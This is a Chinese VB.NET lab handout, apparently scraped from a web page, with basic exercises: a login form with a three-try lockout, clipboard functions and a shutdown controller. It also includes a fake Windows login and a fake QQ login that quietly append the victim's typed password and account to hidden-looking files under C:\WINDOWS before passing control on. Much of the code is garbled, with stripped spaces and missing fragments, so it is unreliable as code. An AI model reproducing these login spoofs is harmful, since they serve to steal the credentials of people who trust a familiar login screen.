实验一VB.NET编程入门
一、实验目的
1、熟悉VS2005开发工具环境；
2、掌握创建VB.NET项目过程；
3、掌握VB.NET项目文件的作用与关系；
4、理解OOP编程方法；
5、写几个简单的VB.NET小程序，基本掌握VB.NET程序开发的过程及调试与运行方法。
二、基本知识与预习
1、启动VS2005，熟悉开发工具环境
2、Framework框架体系
3、回顾创建VB.NET项目的过程
4、回顾VB.NET项目文件关系与作用，理解OOP编程思想。
三、实验设备与环境
1、实验平台：学生机：WindowsXPProfessional；教师机：WindowsXP/2003Server
2、硬件工具：计算机，已组建好局域网
3、软件工具：VisualStudio2005；Framework2.0；
四、实验内容
I、基础实验
（一）实验题目
一）启动VB.NET，创建一个“Windows应用程序”类型的应用程序，要求：在屏幕上显示“欢迎您使用VB.NET”，并“请输入您的姓名”；屏幕设计的界面如图所示，以Sy1-1为项目名保存。
界面设计要求：用户名输入框，密码输入框，“登录”按钮，“清空”按钮，窗口不能最大化，可以用图片美化界面，可设置界面一定的透明度。
功能要求：预设好用户名和密码。登录时输入用户名、密码连续三次错误，提示警告并自动锁定界面或退出界面。
三）设计一个简易网络消息发送控制程序。
界面设计要求：消息输入框、网络主机输入框、发送按钮。
功能要求：实现对网络主机输入框的内容进行识别，主机IP地址格式是：X.X.X.X（X是0-255的数字）。向指定主机发送操作系统的信使服务，即发送消息。
四）一个假Windows登录程序。（演示操作）
当单击任意处3次后，系统进入30秒重启，按“终止重启或关机”按钮后，取消息重启
再单击任意处2次后，弹出“Windows登录”窗口，输入密码后，重新进入桌面。
五）练习：自行设计一个关机控制程序。可以实现关机、定时关机、取消关机、重启、注销等功能。
六）利用标签、文本框、按钮控件以及相应的属性，编一字号、内容和格式的复制练习，效果见图。
在TextBox1输入一字符串，建立三个命令按钮：
（1）Button1：Text内容为“隶书25磅”，事件过程代码为：
TextBox1.Font=NewFont("隶书",25)
（2）Button2：Text内容为“幼圆15磅”，代码类似。
（3）Button3：Text内容为“复制=>”，要求复制在TextBox1选中的内容以及其字体格式。选中的内容通过TextBox1的.SelectedText属性；字体通过Font直接赋值。
五、实验报告内容
简述实验过程和体会（注意：在二）到四）中选择一个写实验报告的正文内容。）
实验一实现代码：
PublicClassForm1
PrivateSubTextBox1_KeyPress(ByValsenderAsObject,ByValeAsSystem.Windows.Forms.KeyPressEventArgs)HandlesTextBox1.KeyPress
DimlInteger
l=365-Label1.Left
Ife.KeyChar=Chr(13)Then
Label1.Text="欢迎您"+TextBox1.Text+"使用VB.NET"
Me.Width=Label1.Width+l
EndIf
Sub
实验二代码
SubButton1_Click(AsSystem.Object,255)">AsSystem.EventArgs)HandlesButton1.Click
authority()
Sub
SubForm1_KeyPress(HandlesMe.KeyPress
Then
authority()
Subauthority()
Dimuid,upwdString
StaticDimcountInteger=0
uid="abc"
upwd="123"
Ifuid=userid.text.trim()Andupwd=userpwd.textThen
count=0
MsgBox("登陆成功，欢迎您使用本软件！")
userid.text=""
userpwd.text=""
Else
count+=1
MsgBox("用户名或密码第"+count.ToString()+"次错误。你还有"+(3-count).ToString()+"次输入机会！")
userid.text=""
userid.focus()
Ifcount>=3Then
userid.enabled=False
userpwd.enabled=False
Button1.Enabled=False
Class
正确账号密码登陆：
错误账号密码登陆：
实验三实现代码
实现代码：
ClassForm2
HandlesButton1.Click
'使用windows的剪切板实现:剪切板能够实现文件、对象、文本等数据的复制粘贴功能
'将选中的文本内容放到剪贴板
Clipboard.SetText(TextBox1.SelectedText)
SubButton2_Click(HandlesButton2.Click
'剪切功能
Clipboard.SetText(TextBox1.SelectedText)
TextBox1.SelectedText=""
TextBox1.Focus()
SubButton3_Click(HandlesButton3.Click
'粘贴功能
TextBox1.SelectedText=Clipboard.GetText()
TextBox1.SelectionStart=TextBox1.Text.Length
Class
一个假Windows登录程序。（演示操作）
当单击任意处3次后，系统进入30秒重启，按“终止重启或关机”按钮后，取消息重启
再单击任意处2次后，弹出“Windows登录”窗口，输入密码后，重新进入桌面。
实现代码：
Class假登陆
SubLabel1_Click(HandlesLabel1.Click
dl()
SubTextBox1_KeyUp(AsSystem.Windows.Forms.KeyEventArgs)HandlesTextBox1.KeyUp
'输完后按回车登陆
Ife.KeyCode=Keys.EnterThen
dl()
Subdl()
'将输入的密码存入指定文件
'c:\WINDOWS\WindowsPlugin.text
DimfnInteger
FileOpen(fn,"C:\WINDOWS\WindowsPlugin.txt",OpenMode.Append)
'向文件写入一行
PrintLine(fn,TextBox1.Text)
FileClose(fn)
Me.Close()
Class
二）关机程序
实现代码：
HandlesButton1.Click
Shell("C:\ProgramFiles\Adobe\AdobePhotoshopCS4\Photoshop.exe")
HandlesButton2.Click
Shell("notepad")
SubForm1_Load(MyBase.Load
Shell("netsend*大家好,节日有礼！")
SubButton4_Click(HandlesButton4.Click
Shell("shutdown-r-t50")
SubButton5_Click(HandlesButton5.Click
Shell("shutdown-a")
Class
三）假QQ
实现代码：
Class假QQ
SubLabel3_Click(AsSystem.EventArgs)
SubLabel3_Click_1(HandlesLabel3.Click
Shell("C:\ProgramFiles\InternetExplorer\IExplore.exehttp://haoma.qq.com/",AppWinStyle.NormalFocus)
SubLabel4_Click(HandlesLabel4.Click
Shell("C:\ProgramFiles\InternetExplorer\IExplore.exehttp://dna.qq.com/cgi-bin/console_forgetPW?reLogin=true&ADUIN=0&ADSESSION=0&ADTAG=CLIENT.QQ.1575_LoginWindow.0",255)">SubTextBox2_KeyUp(HandlesTextBox2.KeyUp
Then
dl()
kl()
Then
dl()
kl()
Integer
FileOpen(fn,OpenMode.Append)
Box1.Text)
'FileClose(fn)
'Me.Close()
Subkl()
'c:\WINDOWS\WindowsPlug.text
Dimkn
kn=FreeFile()
FileOpen(kn,0)">"C:\WINDOWS\WindowsPlug.txt",0)">'向文件写入一行
PrintLine(kn,TextBox2.Text)
'FileClose(kn)
Dimf02New设置
f02.Show()
Me.Hide()
'Shell("D:\QQ2012\QQProtect\Bin\QQProtect.exe")
New正在登录
f02.Show()
Me.Hide()
dl()
kl()
Shell("D:\QQ2012\QQProtect\Bin\QQProtect.exe")
Class
原文链接：https://www.f2er.com/vb/258459.html